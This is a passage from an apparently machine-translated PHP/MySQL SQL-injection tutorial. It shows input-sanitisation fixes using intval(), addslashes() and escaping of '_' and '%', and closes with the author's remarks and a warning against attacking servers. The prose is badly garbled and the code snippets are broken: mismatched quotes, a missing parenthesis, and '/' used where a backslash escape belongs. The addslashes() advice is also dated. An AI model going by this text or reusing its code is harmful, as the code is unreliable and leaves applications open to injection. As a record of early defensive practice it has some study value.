("SELECT * from article where articleid = '$ ID'"); or write:

    MySQL_QUERY ("Select * from article where article (" SELECT * ARTICLE WHERE ARTICLEID = ". INTVAL ($ ID)." ") No matter how it constructs, it will eventually be converted to a shaping guess to put into the database. Many large programs are written like this, very simple. The string variable can also be used with the addslashes () entire built-in function. Like magic_quotes_gpc, after use, all '(single quotes), "(double quotes), / (reverse slope) and empty characters It will automatically turn to an overflow character containing a backslash line. Even if Magic_QUOTES_GPC is opened, then use the addslashes () function, there will be no conflict, you can use it. Example: $ usrname = addslashes ($ usrname ); mysql_query ("SELECT * from mails where userid = '$ usrname'"); or write:

    MySQL_QUERY ("Select * from member userid =". AddSlashes ($ username). ") Use the addslashes () function to avoid quotation marking errors. The repair method of the previous search engine is to convert "_" and "%" directly to "/ _" "/%", and of course don't forget to use the addslashes () function. The specific code is as follows:

    $ keywords = addslashes ($ keywords); $ keywords = str_replace ("_", "/ _", $ keywords); $ keywords = str_replace ("%", "/%", $ keywords; do not like ASP, Filter a point variable, you have to write a lot of code, which is the above code, we can solve all the questions all this article, is it easy? After the post, this article is that I have learned the study in March 2004. In mid-May, all things inside have been tested by me. This article is only a technical summary, and there are many technical difficulties. Solved, so the wrong leakage is inevitable, please welcome everyone to correct. There are many things that are extremely dangerous. As long as a few conditions are established, it can generally enter the server, considering the severity and extensiveness, I have not written, I personally estimate, I will have a PHP mysql injection. Series tools, technology will also spread and tell developments. But I suggest that everyone must figure out the principle, the tool is only a weapon, the technology is the soul, the tool is just an efficiency, does not mean your technology superb. When you see this article, it is estimated that I have finished college entrance examination. I will write a more in-depth study. In order to let more people understand and master PHP MYSQL injection technology, I wrote this article and decided to publish it, and reiterate it again. Do not destroy any legal hosts in any country, otherwise the consequences are at your own risk. It is very easy to do everything in my master. It is very different from the mood of the administrator.


  • New Post(0)